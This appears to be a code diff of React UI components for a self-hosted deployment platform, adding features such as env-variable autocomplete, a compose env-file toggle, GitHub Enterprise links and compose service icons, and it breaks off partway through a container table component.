@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
? data.herokuVersion
|
||||
: null,
|
||||
isStaticSpa:
|
||||
data.buildType === BuildType.static ? data.isStaticSpa : null,
|
||||
data.buildType === BuildType.static ||
|
||||
data.buildType === BuildType.nixpacks
|
||||
? data.isStaticSpa
|
||||
: null,
|
||||
railpackVersion:
|
||||
data.buildType === BuildType.railpack
|
||||
? data.railpackVersion || "0.15.4"
|
||||
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{buildType === BuildType.nixpacks && publishDirectory && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="isStaticSpa"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormControl>
|
||||
<div className="flex items-center gap-x-2 p-2">
|
||||
<Checkbox
|
||||
id="checkboxIsStaticSpaNixpacks"
|
||||
value={String(field.value)}
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
|
||||
Single Page Application (SPA)
|
||||
</FormLabel>
|
||||
</div>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
{buildType === BuildType.static && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
|
||||
@@ -63,6 +63,9 @@ export const ShowDeployments = ({
|
||||
const [activeLog, setActiveLog] = useState<
|
||||
RouterOutputs["deployment"]["all"][number] | null
|
||||
>(null);
|
||||
const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
|
||||
Set<string>
|
||||
>(new Set());
|
||||
const { data: deployments, isPending: isLoadingDeployments } =
|
||||
api.deployment.allByType.useQuery(
|
||||
{
|
||||
@@ -81,7 +84,7 @@ export const ShowDeployments = ({
|
||||
api.rollback.rollback.useMutation();
|
||||
const { mutateAsync: killProcess, isPending: isKillingProcess } =
|
||||
api.deployment.killProcess.useMutation();
|
||||
const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
|
||||
const { mutateAsync: removeDeployment } =
|
||||
api.deployment.removeDeployment.useMutation();
|
||||
|
||||
// Cancel deployment mutations
|
||||
@@ -408,6 +411,11 @@ export const ShowDeployments = ({
|
||||
description="Are you sure you want to delete this deployment? This action cannot be undone."
|
||||
type="default"
|
||||
onClick={async () => {
|
||||
setRemovingDeploymentIds((deploymentIds) => {
|
||||
const nextDeploymentIds = new Set(deploymentIds);
|
||||
nextDeploymentIds.add(deployment.deploymentId);
|
||||
return nextDeploymentIds;
|
||||
});
|
||||
try {
|
||||
await removeDeployment({
|
||||
deploymentId: deployment.deploymentId,
|
||||
@@ -415,13 +423,25 @@ export const ShowDeployments = ({
|
||||
toast.success("Deployment deleted successfully");
|
||||
} catch (error) {
|
||||
toast.error("Error deleting deployment");
|
||||
} finally {
|
||||
setRemovingDeploymentIds((deploymentIds) => {
|
||||
const nextDeploymentIds = new Set(
|
||||
deploymentIds,
|
||||
);
|
||||
nextDeploymentIds.delete(
|
||||
deployment.deploymentId,
|
||||
);
|
||||
return nextDeploymentIds;
|
||||
});
|
||||
}
|
||||
}}
|
||||
>
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
isLoading={isRemovingDeployment}
|
||||
isLoading={removingDeploymentIds.has(
|
||||
deployment.deploymentId,
|
||||
)}
|
||||
>
|
||||
Delete
|
||||
<Trash2 className="size-4" />
|
||||
|
||||
@@ -209,7 +209,9 @@ export const createColumns = ({
|
||||
</Badge>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-xs">
|
||||
{validationState?.error ? (
|
||||
{validationState?.isValid && validationState?.message ? (
|
||||
<p>{validationState.message}</p>
|
||||
) : validationState?.error ? (
|
||||
<div className="flex flex-col gap-1">
|
||||
<p className="font-medium text-red-500">Error:</p>
|
||||
<p>{validationState.error}</p>
|
||||
|
||||
@@ -626,7 +626,10 @@ export const ShowDomains = ({ id, type }: Props) => {
|
||||
</Badge>
|
||||
</TooltipTrigger>
|
||||
<TooltipContent className="max-w-xs">
|
||||
{validationState?.error ? (
|
||||
{validationState?.isValid &&
|
||||
validationState?.message ? (
|
||||
<p>{validationState.message}</p>
|
||||
) : validationState?.error ? (
|
||||
<div className="flex flex-col gap-1">
|
||||
<p className="font-medium text-red-500">
|
||||
Error:
|
||||
|
||||
@@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
@@ -16,16 +17,20 @@ import {
|
||||
import {
|
||||
Form,
|
||||
FormControl,
|
||||
FormDescription,
|
||||
FormField,
|
||||
FormItem,
|
||||
FormLabel,
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { Toggle } from "@/components/ui/toggle";
|
||||
import { api } from "@/utils/api";
|
||||
import type { ServiceType } from "../advanced/show-resources";
|
||||
|
||||
const addEnvironmentSchema = z.object({
|
||||
environment: z.string(),
|
||||
createEnvFile: z.boolean(),
|
||||
});
|
||||
|
||||
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
|
||||
@@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
? queryMap[type]()
|
||||
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
|
||||
const [isEnvVisible, setIsEnvVisible] = useState(true);
|
||||
const completionSource = useEnvCompletionSource({
|
||||
projectEnv: data?.environment?.project?.env,
|
||||
environmentEnv: data?.environment?.env,
|
||||
projectId: data?.environment?.projectId,
|
||||
environmentId: data?.environment?.environmentId,
|
||||
});
|
||||
|
||||
const mutationMap = {
|
||||
compose: () => api.compose.saveEnvironment.useMutation(),
|
||||
@@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
const form = useForm<EnvironmentSchema>({
|
||||
defaultValues: {
|
||||
environment: "",
|
||||
createEnvFile: true,
|
||||
},
|
||||
resolver: zodResolver(addEnvironmentSchema),
|
||||
});
|
||||
|
||||
// Watch form value
|
||||
const currentEnvironment = form.watch("environment");
|
||||
const hasChanges = currentEnvironment !== (data?.env || "");
|
||||
const currentCreateEnvFile = form.watch("createEnvFile");
|
||||
const composeData =
|
||||
type === "compose"
|
||||
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
|
||||
: undefined;
|
||||
|
||||
const showCreateEnvFileToggle =
|
||||
type === "compose" &&
|
||||
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
|
||||
const hasChanges =
|
||||
currentEnvironment !== (data?.env || "") ||
|
||||
(showCreateEnvFileToggle &&
|
||||
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
|
||||
|
||||
useEffect(() => {
|
||||
if (data) {
|
||||
form.reset({
|
||||
environment: data.env || "",
|
||||
createEnvFile: composeData?.createEnvFile ?? true,
|
||||
});
|
||||
}
|
||||
}, [data, form]);
|
||||
@@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
postgresId: id || "",
|
||||
redisId: id || "",
|
||||
env: formData.environment,
|
||||
...(type === "compose" && {
|
||||
createEnvFile: formData.createEnvFile,
|
||||
}),
|
||||
})
|
||||
.then(async () => {
|
||||
toast.success("Environments Added");
|
||||
@@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
const handleCancel = () => {
|
||||
form.reset({
|
||||
environment: data?.env || "",
|
||||
createEnvFile: composeData?.createEnvFile ?? true,
|
||||
});
|
||||
};
|
||||
|
||||
@@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
|
||||
} as CSSProperties
|
||||
}
|
||||
language="properties"
|
||||
completionSource={completionSource}
|
||||
disabled={isEnvVisible}
|
||||
className="font-mono"
|
||||
wrapperClassName="compose-file-editor"
|
||||
@@ -190,6 +220,34 @@ PORT=3000
|
||||
)}
|
||||
/>
|
||||
|
||||
{showCreateEnvFileToggle && (
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="createEnvFile"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
|
||||
<div className="space-y-0.5">
|
||||
<FormLabel>Create Environment File</FormLabel>
|
||||
<FormDescription>
|
||||
When enabled, an .env file will be created in the same
|
||||
directory as your compose file on every deploy.
|
||||
Disable this to keep a repository-provided .env; the
|
||||
variables above will then be ignored. Takes effect on
|
||||
the next deploy.
|
||||
</FormDescription>
|
||||
</div>
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
disabled={!canWrite}
|
||||
/>
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
)}
|
||||
|
||||
{canWrite && (
|
||||
<div className="flex flex-row justify-end gap-2">
|
||||
{hasChanges && (
|
||||
|
||||
@@ -3,6 +3,7 @@ import { useEffect } from "react";
|
||||
import { useForm } from "react-hook-form";
|
||||
import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Card } from "@/components/ui/card";
|
||||
import {
|
||||
@@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
},
|
||||
);
|
||||
|
||||
const completionSource = useEnvCompletionSource({
|
||||
projectEnv: data?.environment?.project?.env,
|
||||
environmentEnv: data?.environment?.env,
|
||||
projectId: data?.environment?.projectId,
|
||||
environmentId: data?.environment?.environmentId,
|
||||
});
|
||||
|
||||
const form = useForm<EnvironmentSchema>({
|
||||
defaultValues: {
|
||||
env: "",
|
||||
@@ -60,14 +68,16 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
const currentBuildArgs = form.watch("buildArgs");
|
||||
const currentBuildSecrets = form.watch("buildSecrets");
|
||||
const currentCreateEnvFile = form.watch("createEnvFile");
|
||||
const { isDirty } = form.formState;
|
||||
const hasChanges =
|
||||
currentEnv !== (data?.env || "") ||
|
||||
currentBuildArgs !== (data?.buildArgs || "") ||
|
||||
currentBuildSecrets !== (data?.buildSecrets || "") ||
|
||||
currentCreateEnvFile !== (data?.createEnvFile ?? true);
|
||||
|
||||
// Skip reset while editing so background refetches don't wipe edits
|
||||
useEffect(() => {
|
||||
if (data) {
|
||||
if (data && !isDirty) {
|
||||
form.reset({
|
||||
env: data.env || "",
|
||||
buildArgs: data.buildArgs || "",
|
||||
@@ -75,7 +85,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
createEnvFile: data.createEnvFile ?? true,
|
||||
});
|
||||
}
|
||||
}, [data, form]);
|
||||
}, [data, isDirty, form]);
|
||||
|
||||
const onSubmit = async (formData: EnvironmentSchema) => {
|
||||
mutateAsync({
|
||||
@@ -87,6 +97,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
})
|
||||
.then(async () => {
|
||||
toast.success("Environments Added");
|
||||
form.reset(formData);
|
||||
await refetch();
|
||||
})
|
||||
.catch(() => {
|
||||
@@ -139,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
</span>
|
||||
}
|
||||
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
|
||||
completionSource={completionSource}
|
||||
/>
|
||||
{data?.buildType === "dockerfile" && (
|
||||
<Secrets
|
||||
@@ -160,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
</span>
|
||||
}
|
||||
placeholder="NPM_TOKEN=xyz"
|
||||
completionSource={completionSource}
|
||||
/>
|
||||
)}
|
||||
{data?.buildType === "dockerfile" && (
|
||||
@@ -182,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
|
||||
</span>
|
||||
}
|
||||
placeholder="NPM_TOKEN=xyz"
|
||||
completionSource={completionSource}
|
||||
/>
|
||||
)}
|
||||
{data?.buildType === "dockerfile" && (
|
||||
|
||||
+9
-5
@@ -447,14 +447,18 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -502,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
|
||||
{field.value?.map((path, index) => (
|
||||
<Badge key={index} variant="secondary">
|
||||
{path}
|
||||
<X
|
||||
className="ml-1 size-3 cursor-pointer"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
form.setValue("watchPaths", newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="ml-1 size-3 cursor-pointer" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+9
-5
@@ -477,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -531,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+22
-8
@@ -47,6 +47,7 @@ import {
|
||||
} from "@/components/ui/tooltip";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { api } from "@/utils/api";
|
||||
import { DEFAULT_GITHUB_URL } from "@/utils/github-utils";
|
||||
|
||||
const GithubProviderSchema = z.object({
|
||||
buildPath: z.string().min(1, "Path is required").default("/"),
|
||||
@@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
|
||||
const repository = form.watch("repository");
|
||||
const githubId = form.watch("githubId");
|
||||
|
||||
// Enterprise repositories do not live on github.com.
|
||||
const providerUrl =
|
||||
githubProviders?.find((provider) => provider.githubId === githubId)
|
||||
?.githubUrl ?? DEFAULT_GITHUB_URL;
|
||||
const triggerType = form.watch("triggerType");
|
||||
|
||||
const { data: repositories, isPending: isLoadingRepositories } =
|
||||
@@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
<FormLabel>Repository</FormLabel>
|
||||
{field.value.owner && field.value.repo && (
|
||||
<Link
|
||||
href={`https://github.com/${field.value.owner}/${field.value.repo}`}
|
||||
href={`${providerUrl}/${field.value.owner}/${field.value.repo}`}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="flex items-center gap-1 text-sm text-muted-foreground hover:text-primary"
|
||||
@@ -438,8 +444,12 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
</TooltipProvider>
|
||||
</div>
|
||||
<Select
|
||||
onValueChange={field.onChange}
|
||||
defaultValue={field.value}
|
||||
onValueChange={(value) => {
|
||||
if (!value) {
|
||||
return;
|
||||
}
|
||||
field.onChange(value);
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
@@ -487,14 +497,18 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -543,14 +557,14 @@ export const SaveGithubProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
+9
-5
@@ -467,14 +467,18 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
className="flex items-center gap-1"
|
||||
>
|
||||
{path}
|
||||
<X
|
||||
className="size-3 cursor-pointer hover:text-destructive"
|
||||
<button
|
||||
type="button"
|
||||
aria-label="Remove watch path"
|
||||
className="inline-flex items-center focus-visible:ring-2"
|
||||
onClick={() => {
|
||||
const newPaths = [...(field.value || [])];
|
||||
newPaths.splice(index, 1);
|
||||
field.onChange(newPaths);
|
||||
}}
|
||||
/>
|
||||
>
|
||||
<X className="size-3 cursor-pointer hover:text-destructive" />
|
||||
</button>
|
||||
</Badge>
|
||||
))}
|
||||
</div>
|
||||
@@ -521,14 +525,14 @@ export const SaveGitlabProvider = ({ applicationId }: Props) => {
|
||||
control={form.control}
|
||||
name="enableSubmodules"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2">
|
||||
<FormItem className="flex flex-row items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch
|
||||
checked={field.value}
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormLabel className="mt-0!">Enable Submodules</FormLabel>
|
||||
<FormLabel>Enable Submodules</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import DOMPurify from "dompurify";
|
||||
import { GlobeIcon, Pencil, Search, X } from "lucide-react";
|
||||
import { CircuitBoard, GlobeIcon, Pencil, Search, X } from "lucide-react";
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { Button } from "@/components/ui/button";
|
||||
@@ -16,7 +16,8 @@ import { type BundledIcon, bundledIcons } from "@/lib/bundled-icons";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
interface ShowIconSettingsProps {
|
||||
applicationId: string;
|
||||
serviceId: string;
|
||||
serviceType: "application" | "compose";
|
||||
icon?: string | null;
|
||||
}
|
||||
|
||||
@@ -26,7 +27,8 @@ const svgToDataUrl = (icon: BundledIcon): string => {
|
||||
};
|
||||
|
||||
export const ShowIconSettings = ({
|
||||
applicationId,
|
||||
serviceId,
|
||||
serviceType,
|
||||
icon,
|
||||
}: ShowIconSettingsProps) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
@@ -48,6 +50,17 @@ export const ShowIconSettings = ({
|
||||
const utils = api.useUtils();
|
||||
const { mutateAsync: updateApplication } =
|
||||
api.application.update.useMutation();
|
||||
const { mutateAsync: updateCompose } = api.compose.update.useMutation();
|
||||
|
||||
const updateIcon = async (newIcon: string | null) => {
|
||||
if (serviceType === "compose") {
|
||||
await updateCompose({ composeId: serviceId, icon: newIcon });
|
||||
await utils.compose.one.invalidate({ composeId: serviceId });
|
||||
} else {
|
||||
await updateApplication({ applicationId: serviceId, icon: newIcon });
|
||||
await utils.application.one.invalidate({ applicationId: serviceId });
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
if (open) {
|
||||
@@ -59,12 +72,8 @@ export const ShowIconSettings = ({
|
||||
const handleIconSelect = async (selectedIcon: BundledIcon) => {
|
||||
try {
|
||||
const dataUrl = svgToDataUrl(selectedIcon);
|
||||
await updateApplication({
|
||||
applicationId,
|
||||
icon: dataUrl,
|
||||
});
|
||||
await updateIcon(dataUrl);
|
||||
toast.success("Icon saved successfully");
|
||||
await utils.application.one.invalidate({ applicationId });
|
||||
setOpen(false);
|
||||
} catch (_error) {
|
||||
toast.error("Error saving icon");
|
||||
@@ -73,12 +82,8 @@ export const ShowIconSettings = ({
|
||||
|
||||
const handleRemoveIcon = async () => {
|
||||
try {
|
||||
await updateApplication({
|
||||
applicationId,
|
||||
icon: null,
|
||||
});
|
||||
await updateIcon(null);
|
||||
toast.success("Icon removed");
|
||||
await utils.application.one.invalidate({ applicationId });
|
||||
} catch (_error) {
|
||||
toast.error("Error removing icon");
|
||||
}
|
||||
@@ -130,12 +135,8 @@ export const ShowIconSettings = ({
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await updateApplication({
|
||||
applicationId,
|
||||
icon: sanitizedDataUrl,
|
||||
});
|
||||
await updateIcon(sanitizedDataUrl);
|
||||
toast.success("Icon saved!");
|
||||
await utils.application.one.invalidate({ applicationId });
|
||||
setOpen(false);
|
||||
} catch (_error) {
|
||||
toast.error("Error saving icon");
|
||||
@@ -147,12 +148,8 @@ export const ShowIconSettings = ({
|
||||
reader.onload = async (event) => {
|
||||
const result = event.target?.result as string;
|
||||
try {
|
||||
await updateApplication({
|
||||
applicationId,
|
||||
icon: result,
|
||||
});
|
||||
await updateIcon(result);
|
||||
toast.success("Icon saved!");
|
||||
await utils.application.one.invalidate({ applicationId });
|
||||
setOpen(false);
|
||||
} catch (_error) {
|
||||
toast.error("Error saving icon");
|
||||
@@ -172,9 +169,11 @@ export const ShowIconSettings = ({
|
||||
// biome-ignore lint/performance/noImgElement: icon is data URL or base64
|
||||
<img
|
||||
src={icon}
|
||||
alt="Application icon"
|
||||
alt="Service icon"
|
||||
className="h-8 w-8 object-contain"
|
||||
/>
|
||||
) : serviceType === "compose" ? (
|
||||
<CircuitBoard className="h-6 w-6 text-muted-foreground" />
|
||||
) : (
|
||||
<GlobeIcon className="h-6 w-6 text-muted-foreground" />
|
||||
)}
|
||||
|
||||
@@ -58,8 +58,12 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
|
||||
const handleRunManually = async (scheduleId: string) => {
|
||||
setRunningSchedules((prev) => new Set(prev).add(scheduleId));
|
||||
try {
|
||||
await runManually({ scheduleId });
|
||||
toast.success("Schedule run successfully");
|
||||
const result = await runManually({ scheduleId });
|
||||
if (result.status === "error") {
|
||||
toast.error("Schedule run failed, check the deployment logs");
|
||||
} else {
|
||||
toast.success("Schedule run successfully");
|
||||
}
|
||||
await refetchSchedules();
|
||||
} catch {
|
||||
toast.error("Error running schedule");
|
||||
|
||||
@@ -6,6 +6,7 @@ import { toast } from "sonner";
|
||||
import { z } from "zod";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { CodeEditor } from "@/components/shared/code-editor";
|
||||
import { Badge } from "@/components/ui/badge";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Card,
|
||||
@@ -111,7 +112,10 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
|
||||
return (
|
||||
<Card className="bg-background">
|
||||
<CardHeader>
|
||||
<CardTitle className="text-xl">Enable Isolated Deployment</CardTitle>
|
||||
<CardTitle className="text-xl flex items-center gap-2">
|
||||
Enable Isolated Deployment
|
||||
<Badge variant="yellow">Deprecated</Badge>
|
||||
</CardTitle>
|
||||
<CardDescription>
|
||||
Configure isolated deployment to the compose file.
|
||||
<div className="text-sm text-muted-foreground flex flex-col gap-2">
|
||||
@@ -138,6 +142,11 @@ export const IsolatedDeploymentTab = ({ composeId }: Props) => {
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<div className="space-y-4">
|
||||
<AlertBlock type="warning">
|
||||
Isolated deployment is deprecated. Use the Networks section above to
|
||||
attach networks per service and detach them from dokploy-network —
|
||||
it is declarative and does not break on restarts.
|
||||
</AlertBlock>
|
||||
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
|
||||
<Form {...form}>
|
||||
<form
|
||||
|
||||
@@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
|
||||
<TableHead>Name</TableHead>
|
||||
<TableHead>State</TableHead>
|
||||
<TableHead>Status</TableHead>
|
||||
{appType === "stack" && <TableHead>Node</TableHead>}
|
||||
<TableHead>Container ID</TableHead>
|
||||
<TableHead className="text-right" />
|
||||
</TableRow>
|
||||
@@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
|
||||
<TableBody>
|
||||
{data.map((container) => (
|
||||
<ContainerRow
|
||||
key={container.containerId}
|
||||
key={container.name}
|
||||
container={container}
|
||||
appType={appType}
|
||||
serverId={serverId}
|
||||
serviceId={serviceId}
|
||||
onActionComplete={() => refetch()}
|
||||
@@ -143,7 +145,9 @@ interface ContainerRowProps {
|
||||
name: string;
|
||||
state: string;
|
||||
status: string;
|
||||
node?: string;
|
||||
};
|
||||
appType: "stack" | "docker-compose";
|
||||
serverId?: string;
|
||||
serviceId?: string;
|
||||
onActionComplete: () => void;
|
||||
@@ -151,6 +155,7 @@ interface ContainerRowProps {
|
||||
|
||||
const ContainerRow = ({
|
||||
container,
|
||||
appType,
|
||||
serverId,
|
||||
serviceId,
|
||||
onActionComplete,
|
||||
@@ -192,7 +197,13 @@ const ContainerRow = ({
|
||||
variant={
|
||||
container.state === "running"
|
||||
? "default"
|
||||
: container.state === "exited"
|
||||
: [
|
||||
"exited",
|
||||
"pending",
|
||||
"preparing",
|
||||
"starting",
|
||||
"ready",
|
||||
].includes(container.state)
|
||||
? "secondary"
|
||||
: "destructive"
|
||||
}
|
||||
@@ -201,96 +212,99 @@ const ContainerRow = ({
|
||||
</Badge>
|
||||
</TableCell>
|
||||
<TableCell>{container.status}</TableCell>
|
||||
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
|
||||
<TableCell className="font-mono text-sm text-muted-foreground">
|
||||
{container.containerId}
|
||||
{container.containerId || "-"}
|
||||
</TableCell>
|
||||
<TableCell className="text-right">
|
||||
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||
{actionLoading ? (
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
) : (
|
||||
<MoreHorizontal className="h-4 w-4" />
|
||||
)}
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="end">
|
||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||
<DialogTrigger asChild>
|
||||
{!container.containerId ? null : (
|
||||
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||
{actionLoading ? (
|
||||
<Loader2 className="h-4 w-4 animate-spin" />
|
||||
) : (
|
||||
<MoreHorizontal className="h-4 w-4" />
|
||||
)}
|
||||
</Button>
|
||||
